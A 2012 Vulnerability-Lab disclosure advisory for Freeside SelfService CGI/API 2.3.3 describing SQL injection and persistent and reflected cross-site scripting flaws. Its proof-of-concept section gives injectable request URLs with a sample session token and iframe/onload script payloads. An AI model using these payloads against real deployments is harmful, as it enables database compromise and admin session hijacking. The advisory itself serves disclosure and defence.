Title: ====== Freeside SelfService CGI|API 2.3.3 - Multiple Vulnerabilities Date: ===== 2012-06-14 References: =========== http://www.vulnerability-lab.com/get_content.php?id=614 VL-ID: ===== 614 Common Vulnerability Scoring System: ==================================== 6.5 Introduction: ============= Billing, ticketing, reporting and configuration for employees and resellers The majority of Freeside s functionality is accessed from here. The back office interface includes searching and viewing of customers, invoices, trouble tickets and services, as well as reporting, configuration, per-user access control, resellser virtualization and more. (Copy of the Vendor Homepage: http://freeside.biz/freeside ) Abstract: ========= The Vulnerability Laboratory Research Team discovered multiple web vulnerabilities in Freesides SelfService CGI|API v2.3.3 git. Report-Timeline: ================ 2012-06-14: Public or Non-Public Disclosure Status: ======== Published Affected Products: ================== Freeside Product: SelfService CGI|API v2.3.3 Exploitation-Technique: ======================= Remote Severity: ========= High Details: ======== 1.1 Multiple SQL Injection vulnerabilities are detected in Freesides SelfService CGI|API v2.3.3. The vulnerability allows an attacker (remote) or local low privileged user account to inject/execute own sql commands on the affected application dbms without user inter action. The vulnerability is located in the selfservice.cgi and the bound parameters action & svcnum. Successful exploitation of the vulnerability results in dbms & application compromise. Vulnerable Module(s): [+] View my usage - Service usage details Vulnerable File(s): [+] selfservice.cgi Vulnerable File(s): [+] svcnum [+] action 1.2 Multiple persistent input validation vulnerabilities are detected in Freesides SelfService CGI|API v2.3.3. The bugs allow remote attackers to implement/inject malicious script code on the application side (persistent). The persistent vulnerabilities are located in the cust_main.cgi, part_pkg.cgi, part_event.html or part_device.html with the bound parameters company address, package comment, event- & device name. Exploitation requires low user inter action & privileged application user account. Successful exploitation of the vulnerability can lead to session hijacking (admin) or stable (persistent) context manipulation. Vulnerable Files(s): [+] ../edit/cust_main.cgi?426 [+] ../edit/part_pkg.cgi?4 [+] ../browse/part_event.html [+] ../browse/part_device.html Vulnerable Module(s): [+] [Company] [Address] [+] [Package] [Comment] [+] [Event Name] [+] [Device Name] 1.3 Multiple non persistent cross site scripting vulnerabilities are detected in Freesides SelfService CGI|API v2.3.3. The vulnerability allows remote attackers to hijack website customer, moderator or admin sessions with high required user inter action or local low privileged user account. The vulnerabilities are located in the selfservice.cgi file with the vulnerable bound parameters pkg, pkgnum, beginning & end. Successful exploitation can result in account steal, phishing & client-side content request manipulation. Vulnerable Module(s): [+] Change User Details [+] Change Package Vulnerable File(s): [+] selfservice.cgi Vulnerable Parameter(s): [+] pkg & pkgnum [+] end & beginning Proof of Concept: ================= 1.1 The sql injection vulnerability can be exploited by remote attackers without privileged user account or user inter action. For demonstration or reproduce ... PoC: ../selfserv/selfservice.cgi?session=8cd42b35567e5bdce44bf17779b6431e;action=view_usage_details;svcnum=-1'[SQL-INJECTION];beginning=0;ending=0 ../selfserv/selfservice.cgi?session=8cd42b35567e5bdce44bf17779b6431e;action=view_usage_details[SQL-INJECTION];svcnum=X;beginning=0;ending=0 > "SELECT * FROM svc_acct WHERE svcnum = ?": LINE 1: SELECT * FROM svc_acct WHERE svcnum = $1 Note: First get a alive session, exchange it with the expired of the poc and then try to access the url to inject your sql commands. 1.2 The persistent input validation vulnerabilities can be exploited by remote attackers with low required user inter action. For demonstration or reproduce ... Example: The attacker create/edit an account and inject a malicious script code i.e., <iframe src=www.vuln-lab.com onload=alert("VL")></iframe> in the vulnerable fields which are Company and Address. This bug is very dangerous because once the admin enters the admin area he will see the page of users. The code that we injected will be executed out of the main page context of the admin. Review: Payname <font color="#FF0000">Illegal (name) (error code illegal_name) payname: "><iframe src="selfservice.cgi-Dateien/a.xht" onload='alert("VL")' <<="" font=""> </FONT><BR><BR> Review: Faxname <font color="#FF0000">Illegal (phone) (error code illegal_phone) fax: " ><iframe src="selfservice2.cgi-Dateien/a.htm" onload='alert("VL")' <<="" font="">< /FONT><BR><BR> Review: Username username) (2-32): "><iframe src="selfservice3.cgi-Dateien/a.htm" onload='alert("VL</FONT'> </FONT><BR><BR> <FORM NAME="OrderPkgForm" 1.3 The non persistent cross site scripting vulnerabilities can be exploited by remote attackers with medium or high required user inter action & without local privileged user account. For demonstration or reproduce ... PoC: Module: Change User Details http://127.0.0.1:8080/selfserv/selfservice.cgi?session=8cd42b35567e5bdce44bf17779b6431e;action=view_usage_details;svcnum=598; beginning=%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C;ending=%22 %3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C Module: Change Package http://127.0.0.1:8080/selfserv/selfservice.cgi?session=8cd42b35567e5bdce44bf17779b6431e;action=customer_change_pkg; pkgnum=3646;pkg=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C http://127.0.0.1:8080/selfserv/selfservice.cgi?session=8cd42b35567e5bdce44bf17779b6431e;action=customer_change_pkg; pkgnum=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C;pkg=Super%20Bundle%20200GB Risk: ===== 1.1 The security risk of the sql injection vulnerability is estimated as high(-). 1.2 The security risk of the persistent input validation vulnerabilities are estimated as medium(+). 1.3 The security risk of the non-persistent cross site scripting vulnerabilities are estimated as low(+). Credits: ======== Vulnerability Laboratory [Research Team] - Ibrahim El-Sayed [the StOrM) (storm@vulnerability-lab.com) Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@vulnerability-lab.com) Disclaimer: =========== The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability- Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. Domains: www.vulnerability-lab.com - www.vuln-lab.com Contact: admin@vulnerability-lab.com - support@vulnerability-lab.com - research@vulnerability-lab.com Section: video.vulnerability-lab.com - forum.vulnerability-lab.com - news.vulnerability-lab.com Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact (admin@vulnerability-lab.com or support@vulnerability-lab.com) to get a permission. Copyright © 2012 Vulnerability-Lab -- VULNERABILITY RESEARCH LABORATORY TEAM Website: www.vulnerability-lab.com Mail: research@vulnerability-lab.com